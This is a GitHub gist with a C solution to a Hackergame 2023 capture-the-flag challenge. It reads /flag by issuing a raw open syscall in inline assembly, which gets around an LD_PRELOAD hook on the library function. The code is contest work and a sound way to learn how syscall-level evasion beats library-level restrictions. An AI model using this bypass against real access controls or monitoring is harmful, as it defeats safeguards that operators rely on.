Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save windshadow233/af493517bcc7313c61588d65457ff00f to your computer and use it in GitHub Desktop.
Save windshadow233/af493517bcc7313c61588d65457ff00f to your computer and use it in GitHub Desktop.
Hackergame 2023 "为什么要打开 /flag 😡 LD_PRELOAD, love!" 解题代码
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
int main() {
char path[] = "/flag";
int fd;
char buffer[256];
ssize_t bytes_read;
__asm__ (
"mov $2, %%rax;" // syscall number for open
"mov %1, %%rdi;" // first argument: pathname
"xor %%rsi, %%rsi;" // second argument: flags (O_RDONLY)
"syscall;"
"mov %%eax, %0;" // store the result in fd
: "=r"(fd)
: "r"(path)
: "%rax", "%rdi", "%rsi"
);
if (fd < 0) {
perror("Failed to open /flag");
return 1;
}
while ((bytes_read = read(fd, buffer, sizeof(buffer))) > 0) {
write(STDOUT_FILENO, buffer, bytes_read);
}
if (bytes_read < 0) {
perror("Failed to read from /flag");
}
close(fd);
return 0;
}
Hackergame 2023 "为什么要打开 flag 😡 LD_PRELOAD, love!" 解题代码
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment